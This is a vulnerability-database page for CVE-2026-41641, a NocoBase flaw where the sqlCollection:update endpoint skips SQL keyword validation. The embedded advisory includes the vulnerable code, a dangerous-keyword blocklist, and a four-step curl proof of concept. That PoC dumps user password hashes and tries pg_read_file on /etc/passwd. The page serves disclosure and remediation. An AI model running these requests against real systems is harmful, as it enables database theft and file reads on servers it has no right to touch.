CVE-2026-41641

highpriority · track · 1EPSS 0.018 · 79 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
1.83% (79th) EPSS
CVSS 7.2 · high
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-26

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.2
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 1.2 · impact 5.9
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.17highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:Fsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-wrwh-c28m-9jjh@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call2026-04-22ghsa · osvUS

    ## Summary The `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. **Affected component:** `@nocobase/plugin-collection-sql` **Affected versions:** <= 2.0.32 (confirmed) **Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet) ## Vulnerable Code ### `checkSQL` is applied on create and execute `packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts` ```javascript // Line 51-60 — execute action: checkSQL IS called execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... } ``` ### `checkSQL` is NOT applied on update ```javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... } ``` ### The `checkSQL` function itself `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28` ```javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` ## PoC ```bash TOKEN="<admin_jwt_token>" # Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfil_collection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }' # Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' # Returns: 400 "SQL statements contain dangerous keywords" # Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT * FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' # Returns: 200 OK — no validation! # Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfil_collection:list" \ -H "Authorization: Bearer $TOKEN" # Returns: all rows from users table including password hashes ``` ## Impact - **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes. - **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass. - **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem. ## Fix Suggestion 1. **Add `checkSQL()` to the `update` action.** The one-line fix: ```javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... } ``` 2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it. 3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-05-07modified 2026-06-17
08

references (10)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan